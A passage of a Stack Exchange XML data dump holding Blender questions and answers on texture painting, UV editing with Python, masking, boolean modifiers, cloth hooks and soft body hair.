LastEditDate="2014-12-15T09:59:24.740" LastActivityDate="2014-12-15T09:59:24.740" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19713" PostTypeId="2" ParentId="19642" CreationDate="2014-12-08T16:20:38.617" Score="0" Body="&lt;p&gt;OK!&#xA;I found an answer:&#xA;This logic does not work, if 2 Keyboard sensors are connected to one And controller. Making different And controllers for each of buttons(C and F3) fixed this thing. Now it works for me!:)&lt;/p&gt;&#xA;" OwnerUserId="8363" LastActivityDate="2014-12-08T16:20:38.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19714" PostTypeId="2" ParentId="19711" CreationDate="2014-12-08T16:24:58.687" Score="2" Body="&lt;p&gt;This is correct, world has no vertices so it cannot have UVs.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-08T16:24:58.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19715" PostTypeId="1" CreationDate="2014-12-08T16:50:52.697" Score="3" ViewCount="210" Body="&lt;p&gt;Imagine a scene with a camera facing a background plane, with suzanne in between partially obscuring some of the background plane. I'd like to do a 'project from view' from the perspective of the camera and see a suzanne shaped hole in whatever image was projected onto the background. &#xA;Both meshes are a single object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I have my scene set up at the moment, the image being projected hits both the monkey and background.&lt;/p&gt;&#xA;" OwnerUserId="8404" LastEditorDisplayName="user1853" LastEditDate="2015-11-30T21:02:14.240" LastActivityDate="2015-11-30T21:02:14.240" Title="UV project from view: Can foreground items block projected image from proceeding?" Tags="&lt;cycles-render-engine&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19716" PostTypeId="1" CreationDate="2014-12-08T17:09:48.483" Score="6" ViewCount="1218" Body="&lt;p&gt;I found this in the Relations panel of Bone Data properties:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vcuoy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was looking for some documentaiton about what this means and how it is used in practice. But i found nothing substantial about this. maybe someone can shed some light on this ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;btw: i have seen the entry &lt;a href=&quot;https://blender.stackexchange.com/questions/9143/how-does-local-with-parent-space-work&quot;&gt;How does &amp;#39;local with parent&amp;#39; space work?&lt;/a&gt;&#xA;But it does not answer this question (for me).&lt;/p&gt;&#xA;" OwnerUserId="248" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-01-20T01:29:21.120" Title="What does &quot;Bone location is set in local space&quot; mean?" Tags="&lt;animation&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19717" PostTypeId="2" ParentId="19709" CreationDate="2014-12-08T17:30:13.970" Score="13" Body="&lt;p&gt;Try using a curve as a bevel object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1- Create a curve with the shape you want to use as bevel.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pTCyA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2- Create a different curve as a new object for the shape you want that bevel object to follow&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2m24D.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3- With the newly created curve selected, go to the curve menu and select the curve you want to use as bevel object and adjust the bevel depth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QgU2s.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BxVvM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IH6NM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-12-08T20:25:41.417" LastActivityDate="2014-12-08T20:25:41.417" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="19718" PostTypeId="2" ParentId="19715" CreationDate="2014-12-08T18:14:31.470" Score="3" Body="&lt;p&gt;If I understand correctly, what you are looking for is to use an object as a mask. There are many ways to do it. Here are some:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In cycles, you can use &lt;strong&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Shaders#Holdout&quot; rel=&quot;nofollow noreferrer&quot;&gt;holdout&lt;/a&gt;&lt;/strong&gt; as a material on the monkey to get you what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/I1ZMk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rendered image&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Dvwb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hlakw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if you use a material index on the monkey's material you can substract the object from the background using the compositor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plane and the monkey have different materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QbL58.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the monkey's material change the pass index to 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bUZWX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable material index on your render layers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v9OCB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the compositor use the IndexMA as alpha for your image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gyK3e.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OQeDE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Blender internal you can set the material of the monkey to be used as mask.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ov5Ai.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NfCcO.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7AgbL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-12-08T19:05:52.083" LastActivityDate="2014-12-08T19:05:52.083" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19720" PostTypeId="1" AcceptedAnswerId="19721" CreationDate="2014-12-08T19:04:06.097" Score="2" ViewCount="778" Body="&lt;p&gt;I would like to know, how to create simple loc/rot/scale animation or constraint animation after cloth simulation (last frame in simulation cache). When i tried that, it moved only origin of mesh, but not the geometry. I tried to export and import MDD, but animation was wrong after import. I also tried apply as shape key, but than simulation was deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i fix that?&lt;/p&gt;&#xA;" OwnerUserId="8407" LastActivityDate="2014-12-08T19:50:27.483" Title="Standard keyframe animation after soft body/cloth simulation" Tags="&lt;animation&gt;&lt;cloth-simulation&gt;&lt;shape-keys&gt;&lt;soft-body&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19721" PostTypeId="2" ParentId="19720" CreationDate="2014-12-08T19:50:27.483" Score="4" Body="&lt;ul&gt;&#xA;&lt;li&gt;Add Vertex group to your cloth object and assign all of the vertices to that group&lt;/li&gt;&#xA;&lt;li&gt;Add some Empty object to the scene&lt;/li&gt;&#xA;&lt;li&gt;Add hook modifier to the cloth object with the group in Vertex Group slot and Empty as Object.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qLzFI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Now you can transform the cloth simulation with that Empty.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-08T19:50:27.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19722" PostTypeId="2" ParentId="19675" CreationDate="2014-12-08T20:23:41.947" Score="2" Body="&lt;p&gt;Looks like you need to use the BGE Bullet physics engine. Set the objects as Rigid bodies, then setup constraints between them of type Rigid Body Joint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way your objects will behave like you expect them to. Scripting similar behavior would be lot of work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need also some collision meshes like ground. There are some videotuts on the net how to setup this, &lt;a href=&quot;https://www.youtube.com/watch?v=BGAwRKPlpCw&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt; is good.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-08T20:23:41.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19723" PostTypeId="1" CreationDate="2014-12-08T20:56:14.737" Score="2" ViewCount="184" Body="&lt;p&gt;So a few months ago, I came across an addon that would give you the ability to animate the transformation of one object to another by taking apart the faces of the 1st object, morphing them, and then positioning them into the shape of the 2nd object. But I can't seem to find it again! Does anyone know what this addon is called? any help greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="3090" LastActivityDate="2014-12-08T20:56:14.737" Title="animate one object into another addon?" Tags="&lt;add-on&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19724" PostTypeId="1" CreationDate="2014-12-08T21:25:23.390" Score="3" ViewCount="2008" Body="&lt;p&gt;Well, I'm trying to change the values of UV Vertex (see the picture):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jRE4c.png&quot; alt=&quot;UV VERTEX&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I change the values, selected part of UV (orange selection) will move.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I can do this change &lt;em&gt;USING PYTHON&lt;/em&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code untill now...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;(...)    &#xA;&#xA;for area in bpy.context.screen.areas:&#xA;    area.type == 'VIEW_3D'&#xA;bpy.ops.object.editmode_toggle()&#xA;&#xA;#+ grab the current area&#xA;original_area = 'IMAGE_EDITOR'&#xA;&#xA;scene = bpy.context.scene&#xA;for count, ob in enumerate(bpy.context.selected_objects):&#xA;    if ob.type == 'MESH':&#xA;        scene.objects.active = ob&#xA;        #+ switch to the image editor to perform transforms etc&#xA;        for area in bpy.context.screen.areas:&#xA;            area.type == 'IMAGE_EDITOR'&#xA;            bpy.context.area.type = 'IMAGE_EDITOR'&#xA;            bpy.ops.object.mode_set(mode='EDIT', toggle=False)&#xA;&#xA;            bpy.ops.mesh.reveal()&#xA;            bpy.ops.mesh.select_all(action='SELECT')&#xA;            #+ select the uvs&#xA;            bpy.ops.uv.select_all(action='SELECT')&#xA;&#xA;            bpy.ops.transform.translate(value=(0.125, 0, 0), constraint_axis=(True, False, False))&#xA;&#xA;            #+ return to the original mode where the script was run&#xA;            for area in bpy.context.screen.areas:&#xA;                area.type == 'IMAGE_EDITOR'&#xA;            bpy.ops.object.mode_set(mode='OBJECT', toggle=False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Still moving the object.&#xA;Tks&lt;/p&gt;&#xA;" OwnerUserId="7829" LastEditorUserId="7829" LastEditDate="2014-12-18T18:18:18.193" LastActivityDate="2014-12-18T18:18:18.193" Title="UV Vertex using Python?" Tags="&lt;python&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ClosedDate="2014-12-09T01:47:37.347" ContentLicense="CC BY-SA 3.0" />
  <row Id="19725" PostTypeId="1" AcceptedAnswerId="19726" CreationDate="2014-12-08T21:42:42.753" Score="8" ViewCount="989" Body="&lt;p&gt;Once you see the image of the problem I'm having, it makes it much more sense what my problem is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WJIZ1.jpg&quot; alt=&quot;My problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I make it so the ocean doesn't render outside of the cup object? You can see it towards the bottom left of the image&lt;/p&gt;&#xA;" OwnerUserId="8410" LastEditorUserId="2217" LastEditDate="2016-02-15T00:26:46.150" LastActivityDate="2016-02-15T00:26:46.150" Title="How to selectively render part of an ocean which is inside a round object?" Tags="&lt;rendering&gt;&lt;ocean-simulation&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19726" PostTypeId="2" ParentId="19725" CreationDate="2014-12-08T22:05:01.217" Score="12" Body="&lt;p&gt;Try using a boolean modifier:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a cylinder the same size of the inside of your cup:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cL9nA.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a boolean modifier and an edge-split modifier to the ocean object, with the cylinder object set as the &lt;em&gt;target&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3DOK5.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Make sure the cylinder is set to be hidden in the render, so it doesn't get in the way:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mU6bP.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-12-08T22:31:43.363" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="19727" PostTypeId="2" ParentId="19724" CreationDate="2014-12-08T22:11:51.147" Score="4" Body="&lt;p&gt;You access the UV coords by looping over face loops.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;#retrieve mesh in object mode&#xA;if bpy.context.active_object.mode!='OBJECT'&#xA;    bpy.ops.object.mode_set(mode='OBJECT')&#xA;mesh = bpy.context.object.data&#xA;bm = bmesh.new()&#xA;bm.from_mesh(mesh)&#xA;uv_layer = bm.loops.layers.uv.active&#xA;&#xA;for face in bm.faces:&#xA;    for vert in face.loops:&#xA;        # here are the UV coords&#xA;        print(vert[uv_layer].uv)&#xA;&#xA;#write the mesh back if you changed the uvs&#xA;bm.to_mesh(mesh)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2014-12-08T23:02:29.523" LastActivityDate="2014-12-08T23:02:29.523" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19729" PostTypeId="2" ParentId="19688" CreationDate="2014-12-09T01:42:59.900" Score="7" Body="&lt;p&gt;&lt;strong&gt;Weight Painting&lt;/strong&gt;, &lt;strong&gt;Texture Painting&lt;/strong&gt; and &lt;strong&gt;Vertex Painting&lt;/strong&gt; are all completely different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Weight painting&lt;/strong&gt; directly modifies vertex groups, which can be used to designate areas of an object (such as where you want hair to grow).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Vertex painting&lt;/strong&gt; allows you to color the individual vertices. This technically could work, however if you have a low-poly model it's going to look pretty bad. &lt;strike&gt;Additionally, as far as I'm aware, vertex painting is not compatible with Cycles.&lt;/strike&gt; PGMath points out that it is possible with Attribute nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Texture painting&lt;/strong&gt; is what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oF9kW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Exhibit A: Our model&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Step 1: UV Unwrap Your Model&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you have already done this, or already know how, go ahead and skip this step.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically you want to go into edit mode and select a bunch of vertices so that if you took scissors and cut along the selected lines, you'd end up with a bunch of more or less flat objects. Like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tTCKj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now press &lt;kbd&gt;CTRL + E&lt;/kbd&gt; and click &lt;code&gt;Mark Seam&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jenub.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;A&lt;/kbd&gt; twice so that every vertex is selected, and then press &lt;kbd&gt;U&lt;/kbd&gt; and click &lt;code&gt;Unwrap&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iHZEm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Great! You're done with this step.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Step 2: Setting up the texture&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you have already done this, or know how, you can skip this step too.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you need to create a texture for your model. Making sure your model is selected, and that it has a material, go to the texture panel and click &lt;code&gt;+ New&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KEp59.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under &lt;code&gt;Image&lt;/code&gt;, click &lt;code&gt;+ New&lt;/code&gt; and use whatever settings you'd like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DLesQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;@cegaton says:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Beware:&lt;/strong&gt; blender does not automatically save the texture in the blend&#xA;  file. The texture has to be saved first by pressing CTRL F3 or using&#xA;  Image Save in the image editor. Otherwise the next time you open the&#xA;  file all of your texturing work will be gone.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;Step 3: Setting up the texture painting&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Almost done! Go into &lt;strong&gt;Texture Paint&lt;/strong&gt; mode. Press &lt;kbd&gt;T&lt;/kbd&gt; to make the panel on the left visible. Click on the &lt;code&gt;Slots&lt;/code&gt; tab, set the Painting Mode to &lt;code&gt;Image&lt;/code&gt;, and select the image you just created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QWukP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you should be good to go!&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Step 4: But it still doesn't work!&lt;/h2&gt;&#xA;&#xA;&lt;h3&gt;-- Make sure you don't have a texture set&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Though it's not very clear, the &lt;code&gt;Texture&lt;/code&gt; setting does &lt;strong&gt;&lt;em&gt;not&lt;/em&gt;&lt;/strong&gt; set the texture it draws on. It sets the texture that the brush uses. Unless you have a specific purpose for using it, it should not be set. If your texture panel looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/umXgm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is probably your problem. Click the little &lt;code&gt;X&lt;/code&gt; to the right of the &lt;code&gt;F&lt;/code&gt; and &lt;code&gt;+&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;-- Make sure your settings are configured correctly&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;These settings may cause you problems:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Drawing mode&lt;/code&gt;: You want TexDraw. That should be the default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Foreground color&lt;/code&gt;: If it's the same as the background color of the image, it won't have any effect obviously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Strength&lt;/code&gt;: Make sure it's larger than zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Blend&lt;/code&gt;: Set it to Mix to make sure it's working. You can mess with it later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0n8Zl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The End&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WX7hy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender has so many features that a problem like this could be any number of things. If you've followed all the steps and it still didn't work, I'm stumped. If you could upload your .blend file though, we would have a much easier time helping you.&lt;/p&gt;&#xA;" OwnerUserId="8281" LastEditorUserId="8281" LastEditDate="2014-12-09T02:10:00.647" LastActivityDate="2014-12-09T02:10:00.647" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19731" PostTypeId="2" ParentId="19725" CreationDate="2014-12-09T02:59:52.517" Score="0" Body="&lt;p&gt;I would create a circular mask texture, and apply it to the alpha of the ocean object. That should allow you to still animate it.&lt;/p&gt;&#xA;" OwnerUserId="8414" LastActivityDate="2014-12-09T02:59:52.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19732" PostTypeId="1" AcceptedAnswerId="19741" CreationDate="2014-12-09T04:48:02.470" Score="3" ViewCount="988" Body="&lt;p&gt;I want to make explosion pieces fade out when particles reach their life limits, just as this video does: &lt;a href=&quot;https://www.youtube.com/watch?v=gD8qlNdEt6E&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=gD8qlNdEt6E&lt;/a&gt;. In the video, begin at 18:55, the video maker creates a new material texture and set its mapping coordinates to &quot;UV&quot;, I can see the option &quot;Mapping&quot; from the video:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mJOcK.png&quot; alt=&quot;screen shot form video&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet, somehow when I try to do it in Blender 2.72, I just cannot find such an option, here is the picture I took from my Blender:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ozubum.png&quot; alt=&quot;my texture options in blender&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see there is just no mapping option at all. So could anyone please tell me how to solve this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, you may want to know the Material.001 is created in cycles engine, because I really need to blend this effect with some other cycles-created stuffs to make an animation. &lt;/p&gt;&#xA;" OwnerUserId="8402" LastEditorUserId="2217" LastEditDate="2016-02-15T00:24:01.970" LastActivityDate="2016-02-15T00:24:01.970" Title="Texture mapping option disappear in Blender 2.72" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;particles&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19734" PostTypeId="2" ParentId="19732" CreationDate="2014-12-09T06:12:17.387" Score="1" Body="&lt;p&gt;It looks to me that you are using The internal render in the first image , the second image is in cycles render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LpKMe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O8zGq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im not sure if it is possible to use this in cycles , You may have to use nodes.&lt;/p&gt;&#xA;" OwnerUserId="1829" LastActivityDate="2014-12-09T06:12:17.387" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19735" PostTypeId="1" AcceptedAnswerId="19738" CreationDate="2014-12-09T06:16:18.270" Score="5" ViewCount="1841" Body="&lt;p&gt;I need to animate a long poly hair and would like it behave a little more like nature, so when I move the head it &quot;follows it's path.&quot;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tSOAm.png&quot; alt=&quot;long hair and rig&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used a &lt;strong&gt;Lattice Modifier&lt;/strong&gt; with &lt;strong&gt;Soft Body Physics&lt;/strong&gt; to simulate the effect. But as you can see it's collapsing on itself, making it look awful. Would anyone able to help me fix it please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/33254&quot; rel=&quot;nofollow noreferrer&quot;&gt;Braid Lattice Anim 2.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7475" LastEditorUserId="2217" LastEditDate="2016-02-15T00:21:35.173" LastActivityDate="2016-02-15T00:21:35.173" Title="Long hair collapses with soft body physics in animation" Tags="&lt;physics&gt;&lt;soft-body&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19736" PostTypeId="1" CreationDate="2014-12-09T09:39:53.740" Score="11" ViewCount="4403" Body="&lt;p&gt;I have a scene I'm working on which requires a large amount of duplicates which I was planning to use an array for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently heard if you use &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt; instead of &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt; and wondered if there was a way to do the same with arrays as it's going to take forever otherwise!&lt;/p&gt;&#xA;" OwnerUserId="8417" LastEditorUserId="5705" LastEditDate="2014-12-09T16:30:03.800" LastActivityDate="2017-10-30T11:01:47.753" Title="How can I save memory in cycles when I have a lot of duplicates?" Tags="&lt;cycles-render-engine&gt;&lt;modifiers&gt;&lt;memory-management&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19738" PostTypeId="2" ParentId="19735" CreationDate="2014-12-09T14:15:44.737" Score="4" Body="&lt;p&gt;Probably the first thing people find when they enable soft body is that it all collapses in on itself. You need to stiffen it up a bit to have it maintain it's structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first thing I would do is enable Stiff Quads and turn up Bending to 3, damp to 20 (under soft body edges) and damping to 12 (under soft body goal).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to experiment more to get it right but that should get you closer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might find &lt;a href=&quot;https://www.youtube.com/watch?v=ofIi4ddHGW0&quot; rel=&quot;nofollow&quot;&gt;this video&lt;/a&gt; helpful in explaining some of the options.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-09T14:15:44.737" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
